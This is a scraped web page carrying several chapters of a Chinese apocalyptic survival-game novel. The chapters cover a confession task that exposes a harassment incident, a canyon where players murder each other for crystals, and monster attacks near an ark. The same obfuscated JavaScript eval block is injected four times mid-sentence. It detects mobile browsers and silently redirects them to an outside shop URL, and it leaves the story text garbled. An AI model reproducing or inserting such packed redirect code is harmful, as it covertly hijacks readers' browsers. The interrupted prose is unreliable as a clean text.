“我们有枪。怕什么?”她瞪大通红的眼睛。 我懂她。 也许那一刻,她看到的不是那个倒下的孩子,而是自己的孩子。 我看向那个男人手里的枪。 AK,三十发弹匣,自动模式。 清月顺着我的眼神望去,又回头看了看我。 现在开枪,不只是暴露位置的问题。 M24是栓动枪,每打完一发,都要拉栓复位,至少一秒的空窗期,清月根本来不及打第二枪。 一旦惹怒那几个男人,就算我们能全身而退,他们也绝不会就此罢手。 枪口掉转的方向,最后只会落在那些更弱的人身上。 “他们这么明目张胆,早晚会被人盯上。”我压低声音,“不急着现在动手。” 趁着外头的混乱,我带着队友迅速撤进旁边一栋破旧的楼里。 我挑了扇最不起眼的侧门,掏出发夹伸进锁孔,小心翼翼地拨动。 “那边不是有白色的小房子吗?”赵美铭小声提醒,“看着像安全屋,干嘛不去那儿?” “人多的地方最不安全。”我边撬锁边说,“一群人挤在一起,迟早拉帮结派,谁弱谁倒霉。” 锁却像是生了锈,我试了几次,指尖都麻了,还是纹丝不动。 “我来吧。”林修玊在旁边伸手。 我一愣:“你还会这个?” 他接过发夹,语气一如既往地欠:“我啥不会啊。” 锁芯“咔哒”一声轻响,门开了。 我们迅速钻进去,把门反锁,又拖来几块断裂的柜板和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069986|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 废铁堵在门后,确认外面暂时没人注意到这里,才各自瘫坐下来。 直到这时,我才发现手心全是汗。 我们简单分了点饼干和罐头,就着水小口咽下去,没有人说话,只有撕包装的细碎声在空屋里回荡。 “我们先去完成任务,拿登船码吧。”赵美铭提议。 我打开任务栏—— 【回声忏悔:秘密交换与公开审判】 【规则说明: 队员需轮流单独进入“忏悔室”,说出对团队中某位成员的负面评价或怀疑。 全员完成忏悔后,返回大厅。 系统将随机播放部分忏悔内容,指向对象明确,但说话者身份保密。】 “这……这是要我们互相说对方坏话吗?”丁黎梓惊讶,“这算什么任务啊。” “反正我和清月、晨晨之间,就算互相说坏话也不会影响感情的,无所谓。”林修玊懒洋洋地耸了耸肩。 “那行,那我俩可就放开了,说你坏话了啊。”我顺着他的话。 他白了我一眼。 不过……系统让我们互相说坏话就能拿到登船码,难道它的真正目的,是想让每个人都被迫直面他人对自己可能存在的恶意、怀疑甚至敌意,在这种环境下把我们的关系拆得四分五裂? 我微微皱眉,如果队友之间关系足够好,其实完全可以商量好了说些什么“坏话”,说的都是假话,没人会真生气。 这样一来,不仅能保证登船码,还能稳住队伍。 系统……真的这么“好心”吗?还是它只是想考验我们的心理承受力和策略头脑,让玩家在压力和信任之间找出最优解。 我们大概商量好要说什么,说谁后,就出发了。 来到的地方,是一个宛如教堂的圆形大厅。 光从高处彩色玻璃洒下,投在地面上斑斓而冷漠,中央的圣坛仿佛在审视每一个踏入这里的人。 周围有数个封闭的“忏悔室”,厚重的木门散发出淡淡霉味。 赵美铭第一个走进去,深吸一口气,把仪器戴在头上。 瞬间,仪器上亮起红色光点。 “我……我怀疑丁黎梓偷吃我的东西。” 她刚说完,仪器猛地震动。 “啊啊啊,这……这啥意思!?” 赵美铭疼得挣脱出来,眼里写满了惊恐和困惑。 我心里一紧,低声自语:“难道……这个仪器……它能读取表层思维,判断我们说的话是否来自于真实的内心深处?” 就知道系统不会这么好心。 大厅里静得出奇,只有仪器的低鸣回响着。 每一个忏悔室里的声音,都像是被放大了千万倍,压迫着每个人的神经。 我看向林修玊和清月,他们的表情也复杂,紧张和好奇交织着。 我扶起赵美铭:“直接说出你心里对某个成员的不满吧,别想太多了。” 她微微皱眉,眼神在我、清月和林修玊之间徘徊,呼吸微微急促。 大厅里寂静得可怕,每个人都像在屏息观察她的动作。 片刻的沉默后,赵美铭从忏悔室出来,她咬紧牙关看着我,我能感觉到她心里复杂的情绪,紧张、害怕,还有无奈。 “好……好了。”我轻声安慰她。 33.第33章 清月和林修玊走进忏悔室,又平静地出来,神情从容。 轮到我时,我关上忏悔室的门,把仪器扣在头上。 那一瞬间,我脑子里闪过的只有丁黎梓。 我把所有压在心底、从未说出口的不满,一股脑地倒了出来。 等我走出忏悔室,才发现大厅另一侧已经乱成一团—— 有人失控地挥拳,有人被按在地上踢,骂声、哭声混在一起,像一锅正在沸腾的脏水。 系统的声音响起。 “现在开始,随机抽取并公开播放忏悔内容。” 我心里猛地一沉。 不要是我。 千万不要是我。 那件事,我从来没有对谁完整地说过。 可下一秒—— “我讨厌丁黎梓那天趁我喝多了,找理由背我。” 我的大脑一片空白。 我甚至没反应过来,声音已经继续播放了下去。 “他支走赵美铭后,说打车送我回家,却在路上对我又亲又抱。我挣脱了,可并没有换来尊重。” “我讨厌他没有尊重我,没有尊重何彦明,也没有尊重他女朋友。” “我讨厌他的行为让我在工作时无法集中注意力,被领导单独叫去谈话,而他却像什么都没发生过一样。” “我恨大家都喜欢他、崇拜他,却不知道他的另一面。” “我害怕说出来只会变成谈资,我没有证据,我怕同事们只会相信他,不会相信我。” 声音戛然而止。 系统完成了它的“公开审判”,像什么都没发生过一样,重新归于沉默。 我站在原地,只觉得脸一阵阵发烫,耳边嗡嗡作响,分不清是愤怒、羞耻,还是被强行剥开的恐惧。 喻清月和林修玊同时看向丁黎梓,眼神里是难以掩饰的震惊。 赵美铭慢慢转过头,像是第一次真正认识这个人。 她的声音有些发抖。 “……这是真的吗,梨子?” 丁黎梓咬着唇,低着头,视线始终落在地面上,不敢看任何人。 我忽然意识到,自己原以为已经可以把那件事放下了。 只要丁黎梓承诺会给我的积分到账,只要不再提起,它就能被妥善地封存。 可系统偏偏把那段我最不愿回想的过往,重新拖到光天化日之下。 大概是我从来没允许自己真正忘记。 “……是我做的。” “我承认,我的行为给晨晨带来了很大的困扰。” 他顿了顿,喉结滚动。 “是我不敢直面自己的内心,才会伤害了所有人……” 话音刚落,林修玊一拳狠狠地揍在他脸上。 “直面什么内心?”林修玊吼道。 “直面晨晨有男朋友,你也有女朋友——” “然后在自己没分手的情况下,去骚扰晨晨吗?” 大厅里一瞬间鸦雀无声。 我的“忏悔”,赤裸裸地躺在队友面前。 “所以我有时候会觉得丁黎梓很虚伪。” “如果他真的喜欢我,大可以先和女朋友分手,干干净净地来。” “可他没有。” “因为在他心里,我未必会答应他。” “既然没有十足把握,那女朋友就还能继续留着,感情、照顾、身份,一样都不耽误。” 我看向他,他的表情像是自己的想法被拆穿了。 “你在权衡,给自己留退路,所以你宁愿伤害所有人,也要满足你空虚的内心。” “要我看,你也未必是真的喜欢晨晨。更像是……你女朋友在某些地方满足不了你,你就把手伸向了别人。” 他盯着丁黎梓,毫不留情。 “你为什么偏偏找有对象的女人?因为安全。” “这样既能享受出轨的刺激,又能继续享受女友的照顾,不需要承担任何责任。” “万一晨晨答应了,她会替你保密;就算她拒绝了,她又不认识你女朋友,你依然什么都不会失去。” “怎么算,都是你稳赚不赔。” “不是……我对晨晨是真——” 丁黎梓下意识开口,却在半句话时生生停住。 真心? 我在心里冷笑了一声。 真心,靠他的行为根本无法证明。 只因为一句“我女朋友不关心我”,就可以名正言顺地从别人身上索取温暖吗? 就算得到了又怎么样,偷来的温暖本就不属于他。 更何况他女朋友是不是真的不爱他,谁又能作证? 说不定是他为自己编织的借口。 就在这时,系统的声音毫无情绪地响起: “是否放逐该队员?” “是——该队员任务失败,无法获得登船码;” “否——全员任务失败,无人可获得登船码。” “晨晨……” 赵美铭忽然拉住了我的手。 “对不起,我忏悔的对象是你。” “我不知道你经历过这些……我一直以为你对我们这些队员,是随时可以牺牲的存在。” 她吸了口气,眼眶泛红。 “所以我以为你冷血、没有情意。” “是我不对。” “我确实很喜欢丁黎梓,也崇敬他。” “他人缘好,爱帮人,工作能力也强得可怕。” 她看了一眼丁黎梓,又很快移开视线。 “可出了这样的事,我不会站在他那边。” 我轻轻回握住她的手。 “没关系,我喜欢你的坦诚。” 在这场被系统精心设计的审判里,至少有人选择了不再自欺。 “投‘是’吧。我做过那样的事,没什么可狡辩的。” 他看着我。 “晨晨,我真的、真的为自己的幼稚感到抱歉。” “我已经答应过何彦明,以后绝不会再对你有任何越界的行为。” 他像是在一条一条确认自己的底线。 “而且……我上一关是MVP,积分已经超过二十了。就算这关失败,也不会死,最多受点惩罚。” 我看着他,忽然发现自己已经没有太多情绪了。 “嗯。我投‘是’。”这样至少大家都能获得登船码。 “我们也投‘是’。”其余队友相继开口。 投票结束后,登船码顺利绑定在我们手臂的芯片上。 第一步,算是完成了。 我抬头看向天空,淘汰人数仍在缓慢跳动,像一块冷冰冰的墓碑计数器。 数字每增加一次,就意味着某个人可能永远留在了这片废土里。 系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076518|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说得很清楚方舟只能载五百人。 但我心里很明白,总会有积分超过二十的人,为了某个重要的人,主动让出自己的位置。 趁着忏悔室那边人群聚集、注意力被彻底分散,我们没有多停留。 绕开主路,钻进残破的建筑里,把能搜到的物资一股脑装进背包。 丁黎梓没有再跟上来。 第二阶段任务开启。 目标地点——拾骸者之渊。 任务栏弹出环境预览,那是一条纵深极大的峡谷,裂谷像被什么巨力生生撕开,底部被灰白色的雾气覆盖,视野受限,结构复杂。 峡谷两侧标注着危险等级提示,闪烁得刺眼。 “拾骸者之渊……”我低声念了一遍这个名字。 不是拾荒者,是拾骸者。 这地方存在的意义,恐怕从一开始就不是给人活着离开的。 我扫了一眼任务进度提示——已经有不少玩家进入区域。 说明有人比我们更早一步下去了。 看来这条峡谷,很快就会堆满真正的“骸”。 我收紧背包带,深吸一口气。 能源晶核恐怕不是散落在地上的奖励,而是踩着别人的失败,才能捡到的东西。 “滴滴,您已进入晶核范围,受到窃生胞毒影响……” 系统提示在耳边响起。 “窃生胞毒……?” 任务栏迅速展开说明—— 一种缓慢作用的基因毒素。 活体暴露其中,会引发细胞衰变,体力上限永久小幅下降,并获得持续性负面状态【蚀骨之痛】。 永久。 我回头看向赵美铭:“我们之前收物资的时候,面罩拿了几个?” “就两个。”她迅速翻包,把面罩递过来。 孢子类毒素。 这种面罩顶多只是减缓入侵速度,只要呆的时间久,迟早还是要吃满。 “我和林修玊下去。”我把绳索系在腰间,又在背后固定好收集筐,“你们留在上面,退远点,别到毒素影响范围内,负责牵引和警戒就行了。” 说完,我把绳子的另一头递给赵美铭。 还没等她回应,一只手伸了过来。 “等等,我跟你去。” 喻清月已经把另一根绳子拿了过去。 “不行。”我了断拒绝,“下面太危险了。” “所以我才要跟你去。” “你想都别想,你还有孩子,她还在休息室等你。” “琉璃对我来说的确是无比重要没错,难道你就不重要了吗?” 我一时间竟然不知道该怎么接。 她重视我,就像我重视她一样。 “我不会让你一个人去承担整个团队的风险。”喻清月把绳子利索地系在自己身上,语气笃定,“既然你要下,我就跟着你下。” 我下意识把求助的目光投向林修玊。 他显然也接收到了信号,刚要开口。 “你闭嘴。”喻清月头也不回,食指一抬,直接打断。 林修玊:“……” 我:“……” 好家伙。 这哪是商量,这是直接定案了。 峡谷深处,灰白色的毒雾缓缓翻涌,像一张耐心张开的口。 绳索绷紧。 我们即将下坠。 34.第34章 “快看!他们有头盔!” 不远处,同样下到峡谷里的玩家指着更深处的人群喊道。 我顺着他指的方向望下去—— 几个人正低着头,在毒雾里艰难地采集能源晶核,头上戴着头盔,格外显眼。 可我很清楚,那东西挡不了窃生胞毒。 但这并不妨碍它成为目标。 “把头盔给我!” “别抢——!” 混乱瞬间爆发。 有人趁着对方弯腰采集,从背后扑了上去,硬生生把头盔扯走,顺手连已经采到的晶核也一并夺了下来。 “别摘我头盔!!”下面的人嘶吼着,声音在峡谷里被拉得又长又碎。 回应他的,只有更粗暴的推搡。 头盔被夺走的那一刻,我几乎能看到毒雾贴在他们的口鼻,像活过来了一样,迅速渗入。 他们已经没有时间再重新采集了,只能踉跄着往回爬。 可毒素发作得太快了。 “呃……好疼……” 其中一人的声音开始发抖,他的手指僵硬,关节不受控制地颤动,每一次用力都像是在生生撕扯骨头。 上方传来队友焦急的喊声:“我们快拉不动了!你们用点力气爬啊!” 可那两个人,已经很难再主动借力。 绳索绷得笔直,几乎全靠上面的人死命往回拽。 “我的腿……”其中一人喘得几乎说不出完整的话,“疼得……动不了了……” 他看了眼身旁同伴。 “你还有点希望。上面两个人拉你一个,肯定拉得动。” 话音未落,他抬手,干脆利落地挥刀。 绳索应声而断。 “别——!!!” 另一人的哭喊还没来得及完整出口,那道身影已经坠了下去。 砰的一声闷响,在峡谷底部炸开。 雾气翻涌了一下,很快又恢复平静。 而下一秒,更让人头皮发麻的一幕出现了—— 那具身体的腹部缓缓隆起,皮肤被什么东西从里面顶开。 能源晶核,破体而出,它在谷底的微光中静静躺着。 上方,只剩下一个人,死死抓着绳索,哭到失声。 而四周,已经有人悄悄把视线移向了那具尸体的方向。 尸体上的晶核,被他们一扫而空。 几乎没有人犹豫。 “原来……晶核是长在尸体上的!” 有人声音发颤,却带着难以掩饰的兴奋,在峡谷里喊了出来。 短暂的死寂之后,混乱骤然升级。 有人不再低头采集,而是把目光,移向了别人的绳子。 “别……别这样!” “求你了!不要割我的绳子!!” 一个人死死抓着岩壁,声音带着哭腔哀求着。 可对方只是面无表情地挥刀。 绳索断裂的瞬间,他的尖叫被风声吞没。 砰—— 身体砸向谷底的闷响,不再稀奇。 越来越多。 有人开始专门盯着落单的攀爬者; 有人在队友拉绳的瞬间动手,制造“意外”; 甚至还有人,假装帮忙,却在背后下刀。 峡谷下方,很快堆满了尸体。 毒雾翻滚,血肉破裂的声音此起彼伏,一具具身体上,能源晶核破体生长,泛着血红色的微光。 拾骸者之渊,名副其实。 而上方的人,却越来越兴奋。 “快点!下面又长出来了!” “拉不上来就算了,割了绳子还能多几个晶核!” 死亡,彻底变成了一种可被量化、可被收割的资源。 “……她们好像有面罩!” 已经开始有人盯上我们了。 我握紧武士刀,清月利落抽出匕首。 “我的刀比你们的都长。”我盯着靠近的人,“不想死,就滚远点。” 话音落下的瞬间,还是有人动了。 我们还没下到谷底,在半山腰,一道身影猛地踩着岩壁借力荡了过来,目标直指我脸上的面罩。 他伸手的那一刻,我没有犹豫,一个前刺,锋刃没入血肉,他的身体猛地僵住,随后失去平衡,顺着绳索滑落下去。 我低头看了一眼。 他额头的积分数,就算这关死了也没事。 ……真是便宜他了。 也许是看出我们不是软柿子,那些人暂时收敛了几分,不再明目张胆地靠近。 我们一路下到谷底,迅速采集晶核,很快就装满了整整两筐。 晶核在背上沉甸甸的,就在我们准备上返时—— “就是她们!” 有人忽然指着我们大喊,“两个女的!背着这么多晶核!” “人多一起上!” “抢了直接走!” 那一瞬间,四周的目光齐刷刷聚了过来。 我们来不及多想,同时抄起武器。 刀光、匕首、岩石上飞溅的碎屑—— 可他们人太多了,而我们背着晶核,动作明显被拖慢。 下一秒,一声极干脆的枪响,在峡谷里炸开。 正朝我们冲来的男人,额头瞬间炸开血花,身体向后仰倒,重重砸进泥血里。 我抬头。 林修玊趴在高处的岩壁边缘。 下面的人不敢再动了,没人再向前一步。 可这不是好消息,因为林修玊必然会被上面的人盯上。 我立刻蹲下身,从那具尸体旁抓过他的手臂,将登船码迅速转移到自己的芯片上。 屏幕一闪,转移成功。 我站起身,刀还在滴血。 “清月,我们快上去。” 我们扯动绳索,上方立刻有了回应,绳子绷紧,赵美铭和林修玊开始拼命往上拉。 我们也不敢全指望他们,手脚并用地攀着岩壁,哪怕能减轻一点重量都是救命。 “他有枪!!”上面不知是谁喊了一声,局势彻底失控。 我只来得及抬头看一眼,林修玊刚调整完位置,就被人从侧面猛地扑倒,两个人一起滚向岩壁边缘。 “林修玊!” 我心一沉。 与此同时,我身侧忽然传来一声短促的惊呼。 喻清月那根绳子,没人拉了。 绳索骤然一松,她整个人往下坠去,身体在半空中失去平衡。 我下意识伸手,却只抓到空气。 就在这一瞬,绳子猛地再次绷紧。 喻清月被硬生生拽停在半空,整个人撞在岩壁上。 我抬头,逆着昏暗的光线,一个熟悉又陌生的身影正死死拽着绳索。 是丁黎梓。 来不及多想。 面罩里的滤芯在疯狂消耗,呼吸声变得沉重而急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079842|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 促,视野边缘开始模糊。 系统警报毫不留情地在耳边响起—— “滴滴滴——” “晶化速率:1%……” “晶化速率:3%……” “晶化速率:5%……” 刚才的混战里,我们的面罩早就被磕裂了边角,每一次呼吸,都像是在往身体里吸毒。 时间,不再站在我们这边了。 林修玊死死护着枪,一边翻滚一边反击,硬生生挡住了想夺武器的人群。 赵美铭和丁黎梓几乎是拼了命地往回拉绳子,手臂绷到发抖也不敢松。 我和喻清月咬紧牙关,关节里像是被灌进了砂石,每动一下都钻心地疼,可谁都不敢慢下来,只能拼命往上爬。 一寸。 再一寸。 终于,我们翻过岩缘,回到了地面。 我用尽最后的力气,把面罩扯下来,远远丢了出去。 面罩落地的瞬间,像是丢进了狼群。 “面罩!” “抢那个——!” 立刻有一堆人扑了过去,撕扯,咒骂声混成一团。 我们趁着混乱,什么都顾不上,拖着沉重的身体,迅速钻进一处隐蔽的岩缝后。 背靠着冰冷的石壁,我这才敢大口喘气。 就在所有人的注意力都被面罩吸引过去时,丁黎梓几步窜到路边,随手拉开一辆车的车门,钥匙还插在上面。 引擎轰然启动。 轮胎摩擦地面发出刺耳的尖啸,他猛打方向盘,车尾甩出一道弧线,车身横着漂移到我们面前。 后门早就被他提前推开。 “上车!” 我们连滚带爬地扑了进去,车门还没来得及关上,车已经再次猛地提速。 “诶——!!我的车!!” 身后终于有人反应过来,咆哮着追了几步,却只吃到一嘴尾气。 丁黎梓从后视镜里看了他们一眼:“现在是我的车了。” 回到废弃大楼后,我们把门彻底封死,确认没人跟踪,这才把晶核倒出来,一颗一颗清点。 两大筐,铺满了地面。 在昏暗的光线下,它们散发出的光安静地跳动着。 “这么多,”赵美铭低声数着,“肯定够了。” 我点了点头,随后看向丁黎梓。 “手,伸过来。” 他愣了一下,下意识照做。 我把刚才从尸体芯片里转移出来的登船码,贴到他的手臂芯片上。 数据光一闪,完成转移。 丁黎梓怔了下:“晨晨……你……” “你的登船码。”我打断他。 “你应该庆幸,这个码还没和原玩家的基因彻底绑定。” “现在立刻绑定到你自己名下。这样就算别人抢走了码,也用不了。” “那现在,我们应该可以准备登船了吧。”清月啃了口饼干。 “理论上,可以准备登船了。”我抬头看向窗外悬浮的倒计时投影,“时间还剩五天,很充裕。” 我继续说道,“方舟上有没有吃的、有没有药,系统没有说过。这几天先把能储存的食物和药品尽量补齐。” 我又补了一句:“还有,最好每个人都带一件顺手的武器。别忘了,方舟上装的不是希望,是人。” 这时候,天空中的淘汰数字再次跳动。 【累计淘汰:502人】 35.第35章 也就是说,只要手里有登船码,剩下的人,理论上都能进方舟。 这个认知并没有让我安心,反而让我更警惕。 我们轮流搜刮完物资,背好行囊,按着任务栏标注的方向,朝方舟所在的区域前进。 越靠近,空气越冷。 “确定只有这条路吗?”喻清月低声问我。 “是的。”我把任务栏的地图调给她看,“所有指引都汇到这里。” 她皱了下眉。 “可这也太……” 话没说完,我们已经看清了前方的景象。 一整片高耸的网状围栏,把远处那座银白色的方舟彻底围死。 围栏外,已经聚了不少人。 他们三三两两站着,神情焦躁,目光不停在围栏和天空的倒计时之间来回扫。 “你们也是顺着地图来的吧?” 有人注意到我们,走了过来。 “嗯。”我应了一声。 “那就对了。”他摊了摊手,“可你们不觉得奇怪吗?这围栏这么高,根本不像是给人走的路。” 他指了指终端投影出的卫星地图。 “你们看,方舟外围整整一圈,只有这里标了路径,可地图上根本没显示入口。” “那就是让我们自己进去。”我抬头估量了一下围栏高度。 差不多五米。 对普通人来说很吃力,但不是完全做不到。 “爬?”那人嗤笑了一声,“这么多人,一个个爬么。” 他说着,忽然举起手里的电锯。 “不如直接开个洞。” 电锯被拉响的瞬间,刺耳的轰鸣在空旷地带炸开。 周围的人像被点燃了一样,纷纷围拢过来。 有人兴奋,有人期待,也有人明显松了口气。 可就在那一刻,我听见了别的声音。 很低,很密。 像是大量脚步碾过碎石。 声音被电锯盖住,却并没有消失,反而越来越近。 越来越快。 我一步上前,拍住那人的肩。 “停!” 他明显有些不耐烦:“干嘛?马上就——” “你们没听见吗?”我打断他。 “听见什么?” 我看见围栏阴影里,有什么东西缓慢地站了起来。 那不是人。 它的身体被拉得异常细长,皮肤半透明,里面嵌着一块块暗淡发光的晶体。 有的晶体直接从胸腔顶了出来,像是没来得及愈合的伤口。 它低下头,空洞的眼眶对准了我们。 下一秒,更多同样的影子,从废墟里爬了出来。 我忽然明白了—— 围栏不是为了拦我们。 是为了拦它们。 那个男人盯着怪物,整个人像是被钉在了原地。 我心头一紧,伸手去拽他往后退,可已经来不及了。 围栏被切开的洞口里,一只手骤然伸出,精准地扣住了那男人。 下一秒,他被猛地拖了进去,身体狠狠撞在围栏边缘。 怪物完全显露出来,它的口器并不在头部,而是生长在胸腹之间,是一道看起来像是被强行撕开的不规则裂缝。 裂缝缓缓张开。 我以为它要进食,可它没有。 那怪物只是拽着那个男人,把他固定在自己面前。 随后,胸腹处的裂口轻轻一震,一股灰白色的浓雾,贴着他的脸,缓缓喷吐而出。 像是在……呼吸? 男人的挣扎只持续了几秒,随后动作开始变得迟缓,关节发出不自然的声响。 下一瞬,系统提示嗡嗡作响: 【窃生胞毒暴露等级:提升】 “啊啊啊啊啊——怪物啊!!”人群彻底炸开了,“系统没说有怪物啊!!” 尖叫声此起彼伏,恐慌像瘟疫一样蔓延。 我反手用袖子死死捂住口鼻,拽住喻清月的手腕:“先撤!” 我们转身往附近的房子里狂奔。 奔跑间,我还是忍不住回头看了一眼。 那个男人已经跪倒在地,身体僵直得像一尊被迅速冷却的雕塑。 他的皮肤下,有什么东西在蠕动。 晶核,像失控的结晶病灶一样,从他的骨骼里破体而出。 “救……” 他的喉咙抽动了一下,嘴却动不了了。 他死了。 在晶核成型的瞬间,怪物们便骚动起来。 它们发出低沉而急促的嘶鸣,像是饿了太久的野兽闻到了食物的味道,争先恐后地扑向那具尸体,胸腹的裂口张合着,疯狂啃食他身体上长出的晶核。 没有对人的兴趣,只有对晶核的贪婪。 那些怪物大约三米高,身体比例畸形,手臂异常修长,腿却短得可笑,所以它们无法跨越围栏。 但那并不妨碍捕猎。 怪物们从被切开的洞口里,一只一只地伸出长臂,毫无章法地胡乱抓挠。 抓到谁,就直接拖进去,在从围栏外收割活着的“晶核载体”。 我们躲在废弃大楼的高处,用望远镜盯着围栏那边的动静。 “你们!” 有人抬高声音,“继续锯那个洞,把怪物引出来,我们就能趁乱进方舟了!” 说话的,正是那群在超市里用枪杀了小男孩的人。 人群里立刻炸开了锅。 “凭什么让我们干这么危险的事!” “刚才那个人就是开洞把怪物引来的!” “要是怪物出来,第一个被拖走的就是我们这些干活的!” 恐惧和愤怒交织在一起。 那男人冷笑了一声,直接举枪,对准了其中一个反抗者的额头。 “那你们现在就可以死。” 他扣着扳机,“干,还是不干?” 我已经把瞄准镜推到最大倍率。 十字线稳稳地落在他的眉心。 “我先干了你。” 砰—— 枪声在空旷的区域里响起。 反抗的人们先是一愣,还以为是那男人开的枪,直到他们回过神来,那人已经倒在地上。 子弹从他额头贯入,人群一阵骚动,有人惊恐地抬头,试图寻找我的位置。 我立刻收枪后撤,没入废弃大楼的阴影里。 那个男人的积分大于20,这意味着,这一关结束后,他会在玩家休息室醒来。 我不能被任何人看到,否则,麻烦就会源源不断地找上门来。 我们开始转向其他区域搜集物资,首要目标就是氧气面罩和防毒面具。 “赵姐,晶核到时候我来背吧。”我对赵美铭说,因为那些怪物吃晶核,背着晶核行动不方便的人可能有危险。 “那你的我来背。”喻清月看向丁黎梓,“拾骸者之渊那次,你救了我,还没来得及说声谢谢。” “啊……小事,小事。”丁黎梓下意识抬手理了理头发,“应该的。” 林修玊在旁边冷冷瞥了他一眼,没有说话。 “不过——”喻清月补了一句,语气一转,笑意全无, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090576|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这不代表我原谅你冒犯我闺蜜。” 丁黎梓的手僵在半空,脸上的笑慢慢收了回去。 林修玊这才轻嗤了一声。 “啊!!” 突然,一阵急促杂乱的脚步声从楼道里传来,我们瞬间警备起来。 我探头望过去。 是个小孩。 他踉跄着冲进来,看起来被吓坏了,缩在角落里,肩膀一抖一抖地抽泣。 “怎么了?” 我走过去,轻轻拍了拍他的肩膀。 他抬起头的那一刻,我整个人僵住了。 那是一张稚嫩却十分熟悉的脸。 “……天哪。”连喻清月也这么觉得,“长得好像小何。” “确实像得有点离谱。” 林修玊下意识脱口而出,随即又笑了一声,“晨晨,不会是你男朋友的私生子吧?” 我狠狠瞪了他一眼。 他立刻闭嘴。 我蹲下来,语气放轻:“小朋友,能告诉我发生什么了吗?” “妈妈……”小孩吸着鼻子,“妈妈在外面……怪物……怪物也在外面……” 怪物跑出来了? 不应该吧,那个拿电锯的男人明明已经被我击杀了。 “你和妈妈分开的时候,她在哪?”我追问。 小孩慌乱地打开脖子上的项链盖,里面是一张合照。 他用手指指着照片上的女人。 “在左边第一个十字路口……我们就是在那里走散的。” 他抬头看着我,眼里满是无助,“这是我妈妈。姐姐……你能救救我妈妈吗?” 我本来要把目光移开,却在看到照片里那个男人的瞬间停住了。 心脏猛地一跳。 照片里的男人留着胡子,眼尾有几道细纹,可除此之外—— 五官、轮廓、神态。 和何彦明,一模一样。 “这……”我愣神。 林修玊察觉到不对,刚想开口:“晨晨,你不会是想救人吧,别闹了,一会儿把自己都赔进去……” “你闭嘴。”喻清月一巴掌拍在他后脑勺上,“你没看到照片里那男人的脸吗?” “我看看去。”我戴上面具,拉动枪栓。 喻清月也立刻站了起来,“我跟你一起。” 在距离十字路口不远的地方,我们看到了那只跑出来的怪物。 它比之前在围栏后看到的要小得多,只有一个成年男子的高度,身体佝偻,却更灵活。难怪它能从那狭窄的洞口里硬生生钻出来。 怪物正背对着我们,蹲伏在路中央,胸腹处的口器一张一合。 喻清月抬手,朝我做了个简短的手势。 “我去吸引它的注意力。”她压低声音,“你趁机救人。” 我点头:“小心行动。” 喻清月将两枚晶核抛在地上。 晶核撞击水泥地,发出清脆的声响,在死寂的街道上格外刺耳。 怪物的动作停顿了一瞬。 它低头看了看地上的晶核,却只是短暂地停留了一秒,随即抬起头,视线越过晶核,死死锁定了喻清月。 它对“晶核”有反应,却更偏爱能够生成晶核的活体。 怪物毒雾喷涌而出,脚步却快得惊人,四肢着地,像兽一般贴着地面朝她扑去。 就是现在! 我从掩体后冲了出去。 垃圾堆后面蜷缩着一个女人,脸色惨白,手臂被划伤,正在极力压抑着自己的呼吸。 “快!”我一把抓住她的手腕,“跟我走!” 36.第36章 我把女人带进大楼,一进门她就跪坐在地上,把小孩死死搂进怀里。 我没多停留,转身就往外跑。 清月还在外面。 废弃加油站旁,一辆蒙着灰的摩托车歪倒在地。 我试着拧了下钥匙,引擎居然轰鸣起来。 “还能打着火……”我心里一喜。 我骑着摩托冲出去,故意拉高转速,刺耳的轰鸣在街道上回荡。 怪物立刻被吸引,嘶吼着调转方向,朝我扑来。 喻清月正躲在一片坍塌的废墟后。 “你先回去!”我冲她喊。 “别!”她从掩体后探出身子,“搭上我!” 我猛打方向绕了一圈,贴着碎石堆减速,在怪物即将追上的瞬间伸手把她拉上车。 她稳稳坐在我身后,没有多余动作,直接拉开我背后的枪包。 以我们多年来的默契,我当然知道她要干什么。 我降档,刻意放慢了点速度。 下一秒,枪声在身后响起,怪物的身体猛地一顿,便重重倒在地上,再也没有动静。 